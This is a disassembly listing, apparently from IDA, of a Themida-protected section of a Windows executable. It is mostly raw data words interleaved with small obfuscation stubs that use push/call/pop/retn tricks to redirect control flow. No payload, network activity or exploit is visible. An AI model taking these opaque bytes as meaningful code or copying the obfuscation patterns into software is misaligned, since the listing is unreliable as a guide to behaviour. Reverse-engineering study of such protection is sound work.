		dd 15042444h, 41000000h, 0BDC4C351h, 101DBD89h,	858D0615h
		dd 61888F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	81C35747h, 8BD88B66h, 152221BDh, 4895006h, 11E824h
		dd 16690000h, 90FD5449h, 0FFC7382Eh, 0FC0EF1C1h, 5BD37EBBh
		dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 2515C351h, 7A3C1953h
		dd 258964F8h, 0
; ---------------------------------------------------------------------------
		movzx	edi, cx
		inc	dword ptr [ebp+6151535h]
		push	0
		push	ebp
		call	sub_5CC498
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC498	proc near		; CODE XREF: Themida_:005CC490p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CC498	endp

; ---------------------------------------------------------------------------
		dd 0AB7544B7h, 0F57347Fh, 28Ah,	6AD88B00h, 51006AFFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 6F1D5A7Eh, 0E003C70Ch, 0A19D03D5h, 8B06152Dh, 150AD5BDh
		dd 49B5FF06h, 6A06152Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 5F45C355h, 660DF9FDh
		dd 68F0Fh, 0BD890000h, 6152729h, 860Fh,	95FF0000h, 61508BDh
		dd 152E9h, 8D8B6000h, 6150CA1h,	68B0Fh,	95290000h, 6150A21h
		dd 0E800B061h, 7, 2C1391B3h, 0E9F33B1Eh, 0Bh, 7A97424Eh
		dd 0A9760CD0h, 5FDEC991h, 71E470E6h, 613CF98Bh,	111830Fh
		dd 95310000h, 6151D51h,	0E8C8B60Fh, 13h, 1FE9E589h, 18B0D299h
		dd 0DE068E5Dh, 42CBE61Ah, 89DEDFF2h, 15118985h,	6BA5B06h
		dd 0E9000000h, 5, 886CBD13h, 0E9C18BC2h, 0Bh, 5BC517AAh
		dd 0EBFFD1ACh, 0C121D3A6h, 0E95304E8h, 10h, 8A81CE76h
		dd 0D4831CE4h, 0D81DBC9h, 0E60903FEh, 0E2F7665Bh, 7E8h
		dd 99066300h, 98EB699Bh, 0C82B5FF9h, 2DA19D89h,	0D18B0615h
		dd 33C99D8Bh, 88E90615h, 2B000000h, 1523359Dh, 4C858B06h
		dd 0BB505F4Ch, 1DBB1735h, 8B07C083h, 150465BDh,	0C08306h
		dd 3BFEBF0Fh, 0E830FD0h, 60000000h, 0E961F18Bh,	57h, 0ABCF8166h
		dd 0FF8D8BAAh, 89FFFFFFh, 1505D58Dh, 1E18306h, 3D840Fh
		dd 8D890000h, 6150BE9h,	0FFFFA583h, 66FEFFFFh, 89D77FBBh
		dd 5F4C4C95h, 0DE96050h, 0A6000000h, 0C3B5112h,	0B2BC50F3h
		dd 65AD161h, 61DEB70Fh,	4890Fh,	0BB660000h, 0E990A8h, 8D000000h
		dd 19A5E9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 74238F26h, 27E64E02h, 6A148Bh, 0EDB58960h
		dd 0F061518h, 588h, 6294BA00h, 0FF6168EEh, 152E2195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 5B0330E5h, 76D22F72h, 0E92B927h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4E382FC3h
		dd 765127DCh, 19E9BD89h, 0E1830615h, 51006AFCh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DB810E1Ch
		dd 6DC250A2h, 0B8FCh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 9B6E3DC3h, 0C19D8B84h
		dd 2B06152Ch, 152F2D9Dh, 0BA06h, 81660000h, 0AD7681DFh
		dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 12h, 83BB8F4Eh
		dd 38AAF125h, 779FD083h, 0CA09CF7Dh, 0D5FED93h,	88h, 8BDEBF0Fh
		dd 15272195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0FE86E03Eh, 8BB304C6h, 1504CD8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0E6C2A9F9h, 0A139F3A3h, 0B531DF77h, 6152F05h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BD8B5818h
		dd 615191Dh, 8E8h, 68C36900h, 5B165B57h, 5FFC8AC7h, 18A9BD83h
		dd 0F000615h, 6484h, 0E9BD8900h, 0B806150Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CC847
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC847	proc near		; CODE XREF: Themida_:005CC83Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CC847	endp

; ---------------------------------------------------------------------------
		align 4
		dd 75E63C45h, 0E51BF325h, 20F18D29h, 8D8D0615h,	6154F9Eh
		dd 7018D89h, 0E1FF0615h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 66C35242h, 0BD08A6FEh, 15BD8303h, 61511h
		dd 47E840Fh, 0BB660000h, 0BD834EF2h, 6151115h, 88840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2A61C350h, 15BD83F5h, 3061511h
		dd 427860Fh, 0F88B0000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 1C30983Bh, 9D89DC2Fh
		dd 6152DCDh, 6AD98C66h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 9258C351h, 81E4BBD2h
		dd 5C4EEBD7h, 819D8B00h, 80061502h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0EFEB36C3h
		dd 820F23BBh, 8, 4D950952h, 5B061510h, 10E8h, 0D11FB100h
		dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 27BF6681h, 0C90A5BB9h
		dd 189840Fh, 9D8B0000h,	61502E5h, 249D858Bh, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E8C618C3h, 9, 3D3D9C25h, 6B2F4154h,	7BDB8160h, 5B316896h
		dd 14E9h, 6846100h, 0BBE8DE64h,	8504409Ah, 4ED34501h, 0EAF50205h
		dd 0B585337Bh, 0E8061519h, 6, 67C67310h, 6E81530h, 8B000000h
		dd 0AC95237Eh, 0B6F7810Bh, 5B30F040h, 5250905Bh, 0FDA8B66h
		dd 5AD98A31h, 9BB35058h, 11958990h, 8B06150Ah, 1508A9BDh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FA37C351h, 0C7228A2Fh, 0F88BE4C9h
		dd 18EDBD2Bh, 9D8B0615h, 61525C1h, 4E8h, 1F03FF00h, 0D98B6600h
		dd 8B5B5350h, 52042444h, 66008B5Fh, 4489D88Bh, 0F5580424h
		dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 665275C3h, 314EE7CDh, 893C17CBh
		dd 18BF9985h, 75BD2306h, 0F06150Ah, 28Dh, 0E9F0B700h, 1D7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h
		dd 45EA57E1h, 65FC80Eh,	12E8h, 0BBED7E00h, 0DC12D329h
		dd 4D6C90CBh, 7DAB23D4h, 5FE89F1Bh, 0A9958B60h,	0E9061528h
		dd 7, 0B58C5342h, 6126406Ch, 0C88B6660h, 20CD8D89h, 8B610615h
		dd 18BF9185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0F2BC1064h, 95BD8B89h, 0E9061511h
		dd 0Dh,	5FFEB66h, 70449479h, 13E31FB3h,	0E19D8B06h, 0C7061501h
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 3F67CBE1h, 8BE578FBh, 18BF95B5h
		dd 0D840F06h, 0E8000000h, 7, 3D2E8F7Bh,	5FA99707h, 0C45858Bh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0BA99B7C3h, 0E215F8D9h, 890689CEh, 151CADBDh
		dd 9D858B06h, 23061524h, 1503B5BDh, 4468906h, 66F98B66h
		dd 6650F98Bh, 3489FE8Bh, 9E824h, 0CDB90000h, 3728F4F0h
		dd 0F1DF3A7h, 0FF5BDEBFh, 18BF91B5h, 0E99D8906h, 68061517h
		dd 7C373FD6h, 13E8h, 0D49B9E00h, 1D6DE361h, 0EA924018h
		dd 28516132h, 3C99616Ah, 5FFE8B66h, 29243481h, 0F7C283Ch
		dd 681h, 75BD8900h, 66061516h, 0B11FDB81h, 0BF99858Dh
		dd 95890618h, 6151DF1h,	870F50h, 89000000h, 8B602404h
		dd 0F1BD8BD1h, 61061519h, 0FDB58B60h, 0F9061510h, 0AD95FF61h
		dd 6A06150Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 77A7C351h, 58196715h, 61DF8B66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h
		dd 5F5851B1h, 85C73716h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 19C35545h, 0ED4C0499h, 2BD2E2F1h
		dd 99BD83F5h, 618BFh, 17840Fh, 8D0F0000h, 6, 1A35BD23h
		dd 21E90615h, 8B000000h, 15017D9Dh, 0C305006h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 25C35545h, 0E08C30A8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h, 65D3AA5Ah
		dd 0B04454AAh, 0F5051DAh, 8Dh, 835B5B00h, 151115BDh, 850F0306h
		dd 3D7h, 0DC40D781h, 0BD831521h, 618BF99h, 0C4840F00h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 1FF1C350h, 0ED5FB511h,	6E8D2h
		dd 2F580000h, 18422978h, 1A1D9D8Bh, 665F0615h, 0FFB31BBBh
		dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0F971D46Bh, 95FFCC09h, 61510E1h
		dd 0B58BDF8Bh, 618BF8Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 6DC35141h, 0F4543F3h,	6C7FFBFh, 10001h
		dd 2E4866BFh, 50A8B36Bh, 0A49CBB66h, 6A243489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 41C4C357h, 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C4A2C356h
		dd 0D9B2E4A0h, 0A195FF40h, 89061506h, 151CC5B5h, 8DB58B06h
		dd 0F0618BFh, 38Ah, 86CB8000h, 59858Bh,	0FA8B0615h, 0C48689h
		dd 0BD8B0000h, 6150879h, 958BFA8Ah, 6152721h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D8C35343h, 3E3613D3h
		dd 6199DC48h, 5840Fh, 7FBF0000h, 830674A7h, 0BB6604C2h
		dd 50898BEFh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0FF49D46h, 0C8Bh,	7E900h,	0B5BD0000h
		dd 0F3413013h, 58858D77h, 6A0618D4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 837BC351h
		dd 909B1A65h, 44B0BBDCh, 8689705Ch, 0B8h, 1781BD03h, 6A0615h
		dd 0BF99B5FFh, 6A0618h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8B3EA8C3h, 8A0F51FEh, 6,	8D0Fh
		dd 0FF5B0000h, 151D4D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 7F37BF93h
		dd 0E8506A33h, 0Fh, 0F1994CD0h,	0CCBC4AF6h, 5951A077h
		dd 0E9909A6Bh, 0Ch, 79E63817h, 0A2C674F7h, 0D0FD14BAh
		dd 2434895Bh, 0CE9h, 92CF2000h,	4E1BC64Fh, 6398945Dh, 99B5FFE4h
		dd 290618BFh, 15175995h, 2995FF06h, 83061507h, 150065BDh
		dd 840F0006h, 55h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h
		dd 0D7C35646h, 7A823285h, 22358D89h, 0E9960615h, 9, 0ABA2F1ADh
		dd 53FB3832h, 52505017h, 7E950h, 0D71D0000h, 0A70BC7C4h
		dd 310F5F07h, 5396585Ah, 880F60h, 61000000h, 99B5FF5Bh
		dd 8B0618BFh, 1505859Dh, 3995FF06h, 0F061504h, 0B5FFFAB7h
		dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	7BC35545h, 0ABB7F2EBh, 0DCD95FFh, 0BD830615h, 615285Dh
		dd 79840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0B775C352h,	8B15ABBBh
		dd 15284985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 820F78B4h, 7, 1850Fh, 0E8F80000h
		dd 10h,	32F77749h, 0E3498F2Ch, 0C00DDB15h, 394F2B03h, 16C9B529h
		dd 0C65B0615h, 5E90000h, 5A000000h, 0FAD0B85Fh,	23F585C7h
		dd 615h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 1D0424h, 52420000h, 71597C3h, 153F01FFh, 0E97F151Fh
		dd 0FFFFF327h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0CC35747h, 0C34CB249h, 918C6F9Dh, 0FE8B6636h, 0C380C18Bh
		db 7Eh
; ---------------------------------------------------------------------------


loc_5CD1BD:				; CODE XREF: Themida_:loc_5CC3B9j
		lea	eax, [ebp+615279Dh]
		push	0
		push	edi
		call	sub_5CD1CE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD1CE	proc near		; CODE XREF: Themida_:005CD1C6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5CD1CE	endp

; ---------------------------------------------------------------------------
		dw 6BE8h
; ---------------------------------------------------------------------------
		sbb	edi, ebp
		pop	ebp
		inc	ecx
		xchg	eax, esi
		mov	edi, [ebp+6150C5Dh]
		push	eax
		mov	bx, si
		mov	[esp], eax
		add	[ebp+615263Dh],	edx
		push	0
		push	0
		push	eax
		call	sub_5CD205
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD205	proc near		; CODE XREF: Themida_:005CD1FDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5CD205	endp

; ---------------------------------------------------------------------------
		db 4Ch,	6Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5CD223
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD223	proc near		; CODE XREF: Themida_:005CD21Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CD223	endp

; ---------------------------------------------------------------------------
		db 0EDh
		dd 0DDDB0591h, 0DE9h, 278A0200h, 6328507Fh, 1CCE2B34h
		dd 858DD06Dh, 61A39CDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 90C35646h, 8D89B291h,	61525FDh, 6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 5E30C351h, 519D8BCEh, 60061501h, 23D9D01h
		dd 800F0615h, 6, 25ED9589h, 50610615h, 66605250h, 850FDF8Bh
		dd 0
		dd 50310F61h, 11E3BB52h, 310F2FB7h, 6E8h, 23CE0800h, 5B8FABE5h
		dd 585A585Ah, 80240489h, 6AABDFh, 160D9D8Bh, 6A0615h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FAC35242h, 25439360h
		dd 9EB3C1B1h, 267995FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 4F1F2FC3h, 0F89B82EDh
		dd 0FBEDC77h, 681h, 85BD2B00h, 8D061508h, 189C158Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8B42FA80h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5CBF14C3h, 50DB3234h, 11E9h, 584A4A00h
		dd 0D352302Eh, 730D342Dh, 73306ADh, 0BD8311FDh,	6152DB5h
		dd 4D850F01h, 8B000000h, 1505C9BDh, 6A026A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0EE78C356h, 5283F2DEh, 66F88BB4h, 5250D98Bh,	6810Fh
		dd 8E0F0000h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	[esp], eax
		call	dword ptr [ebp+6151D4Dh]
		mov	[ebp+6150101h],	ebx
		jmp	loc_5CE193
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 61A39D7h
		push	0
		push	edx
		call	sub_5CD418
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD418	proc near		; CODE XREF: Themida_:005CD410p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5CD418	endp

; ---------------------------------------------------------------------------
		aaa
		dec	edx
		push	esi
		xor	edi, [ebp+61512A5h]
		pop	ebx
		push	0
		push	ebp
		call	sub_5CD43D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD43D	proc near		; CODE XREF: Themida_:005CD435p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5CD43D	endp

; ---------------------------------------------------------------------------
		mov	edx, 8D8E601Fh
		test	edi, ecx
		mov	[eax], bl
		push	es
		push	0
		push	edi
		call	sub_5CD462
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD462	proc near		; CODE XREF: Themida_:005CD45Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CD462	endp

; ---------------------------------------------------------------------------
		dw 0B74Ch
		dd 800F50F0h, 2, 48990B3h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FBEEFFAEh
		dd 0FA4F279h, 0FF64DEBFh, 35h, 0DBD8B00h, 64061510h, 2589h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 51537DC3h, 667718AAh, 0DCA9EF81h,	7D958B60h
		dd 66061527h, 6100EDB8h, 153585FFh, 0D7810615h,	3B7106C6h
		dd 9D8BFF6Ah, 615233Dh,	33A9B5FFh, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0D969C9C3h
		dd 0FE8B778Dh, 8BD95FFh, 0F6E90615h, 66000000h,	0B0D88Bh
		dd 231D8D29h, 70E60615h, 7E8h, 467A2500h, 0CFC9B029h, 5FFB8B66h
		dd 9D8971E4h, 6151D2Dh,	830F613Ch, 0C9h, 0FDA8B66h, 0FB8BC8B6h
		dd 6BAh, 8B2BB300h, 0ADDB80C1h,	104E8C1h, 151081BDh, 0E2F76606h
		dd 0CAD9D89h, 0C82B0615h, 6890Fh, 0BD8B0000h, 615179Dh
		dd 0B589D18Bh, 6152471h, 88E9h,	0CD9D8B00h, 8B061524h
		dd 47554C85h, 3D9D8B49h, 8306152Bh, 816607C0h, 8331C5F7h
		dd 0CE900C0h, 6E000000h, 0B927F45Dh, 0A8440C9Eh, 3BF5F839h
		dd 14830FD0h, 57000000h, 0F95BDD8Ah, 48E9h, 48B0F00h, 66000000h
		dd 8BE509BBh, 0FFFFFF8Dh, 9D9D8BFFh, 83061526h,	840F01E1h
		dd 29h,	33E9BD8Bh, 0DA8B0615h, 0FFFFA583h, 0FFEFFFFh, 9589FEBFh
		dd 4947554Ch, 5318D89h,	0BD8B0615h, 6151A21h, 0E9h, 7BB58D00h
		dd 6A0619B4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 97F9C355h, 1DC2565Bh, 6A9C47h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 63C35242h
		dd 2CAD3158h, 2D019D8Bh, 9D890615h, 6150295h, 2E2195FFh
		dd 0F98B0615h, 0A459D8Bh, 20B90615h, 6A000010h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F05C357h, 0E183DFBFh, 699529FCh, 0FC061515h, 34158D89h
		dd 0B80615h, 8B000000h,	1528199Dh, 0BA06h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B48686C3h, 5A9B54FFh, 0B5892108h, 61533C1h,	819D8Bh
		dd 33AD0615h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DB3B86C3h
		dd 601D4FBh, 6A46DC1Fh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 8EADC350h, 0CDC98ED6h
		dd 0FA8AD880h, 880Dh, 3850F00h,	57000000h, 95015FF5h, 61533E9h
		dd 2721958Bh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8B3A6CC3h, 152259BDh, 259D0306h
		dd 8B061529h, 1504CD8Dh, 0AD9D8B06h, 5006152Dh,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 2C63A019h
		dd 0F3DADFCEh, 81503046h, 3286A2D3h, 8D895F15h,	615168Dh
		dd 69BD3357h, 5F061518h, 18A9BD83h, 0F000615h, 7984h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0A3F5D5C3h, 0DE908h,	0DC4F0000h, 7D3D5CD6h, 0FC786CCDh
		dd 0B84D88FDh, 0
; ---------------------------------------------------------------------------
		jo	$+6
		lea	ecx, [ebp+6154F9Eh]
		mov	[ebp+6152F2Dh],	esi
		add	bl, 0E5h
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5CD85A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD85A	proc near		; CODE XREF: Themida_:005CD852p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5CD85A	endp

; ---------------------------------------------------------------------------
		lds	esp, [ebp+6Ch]
		ror	byte ptr [ecx+150FD9BDh], 1
		push	es
		mov	ebx, [ebp+6152325h]
		cmp	dword ptr [ebp+6151115h], 0
		jz	loc_5CDCD1
		push	0
		push	edx
		call	sub_5CD892
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD892	proc near		; CODE XREF: Themida_:005CD88Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CD892	endp

; ---------------------------------------------------------------------------
		dw 0C5BDh
		dd 932F3949h, 459D8BE0h, 8306152Bh, 151115BDh, 840F0106h
		dd 430h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 14h,	7DC35343h, 1115BD83h, 0F030615h, 3D186h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0CE7E1C51h, 5E1BB639h, 1A11BD8Bh, 6A600615h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 7616C357h, 17F5E43h,	66A423BFh, 66D09CBBh, 0BE9D98Ch
		dd 9E000000h, 37DEEDB3h, 4076958Dh, 8166AA40h, 805739D7h
		dd 0DE8A04E1h, 840FC90Ah, 103h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 8FC35545h, 0E960439Dh, 0Ch
		dd 507B9DB7h, 60611314h, 550A01F0h, 61F28B66h, 249D858Bh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 665D10C3h, 8533F88Bh, 61519B5h, 23D9D8Bh
		dd 66500615h, 895B97BBh, 6A2404h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 12C35040h, 0DAC255A9h, 7F571CF8h
		dd 68B0F60h, 89000000h,	150FF59Dh, 5D686106h, 0F6AF435h
		dd 1288h, 0DE900h, 9CD40000h, 7DCA1BC2h, 4EB9F724h, 819AC313h
		dd 36A22434h, 0DF816AEBh, 2ABB0A95h, 0DAD95FFh,	0BE90615h
		dd 56000000h, 4C13B1E7h, 62B365D2h, 8589CC7Dh, 618BF99h
		dd 0BE9h, 64D6F400h, 5939FBAEh,	75E2D203h, 1F1E9h, 6FD78100h
		dd 8B7DB71Eh, 18BF9185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 6BEEAF67h, 58BF30F1h
		dd 1F9B531h, 0C70615h, 18h, 9D895760h, 6151041h, 0B58B6158h
		dd 618BF95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	8C35040h, 667C2C59h, 0C45858Bh,	0F8560615h, 1595895Fh
		dd 8906150Ah, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 9C7A1B52h, 0ADBD8988h, 66061505h
		dd 858BD88Bh, 615249Dh,	0E83EBF66h, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4854C353h, 880F9602h, 10h, 0AE8h, 15E92B00h,	9160C899h
		dd 5BF00BA2h, 7E850h, 4F990000h, 529DACC7h, 7ABF661Eh
		dd 6A965BAEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 8301C355h, 4AC79DABh, 9529F453h
		dd 61515E1h, 0BF91B5FFh, 81660618h, 68EE86CBh, 9DFDB84Fh
		dd 481DC8Ah, 214BB024h,	56006A62h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 43861F70h, 73FB18AEh
		dd 13E8C3h, 0B9BD0000h,	36DDB934h, 711E190h, 0BAEAAA3Bh
		dd 0EE9CA00Ch, 0D781601Ah, 1A216344h, 3C5B501h,	5B610615h
		dd 29798D01h, 858D0615h, 618BF99h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0F5C35141h,	0F6A704AAh, 5F579570h
		dd 20ED8589h, 81660615h, 90DA6AF3h, 50F98B66h, 0FE8h, 0FEA7FC00h
		dd 133BFEF5h, 42BE833Eh, 2A3A727h, 905FA8B3h, 19899501h
		dd 95FF0615h, 6150DADh,	8218D89h, 81610615h, 6F4785C7h
		dd 1585C74Dh, 3061511h,	8B000000h, 0B5BD8BF8h, 8306152Ah
		dd 18BF99BDh, 840F0006h, 46h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0CCC35141h,	0E905B7D2h, 3Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 64C35141h
		dd 28998529h, 30500615h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_5CDCD1:				; CODE XREF: Themida_:005CD881j
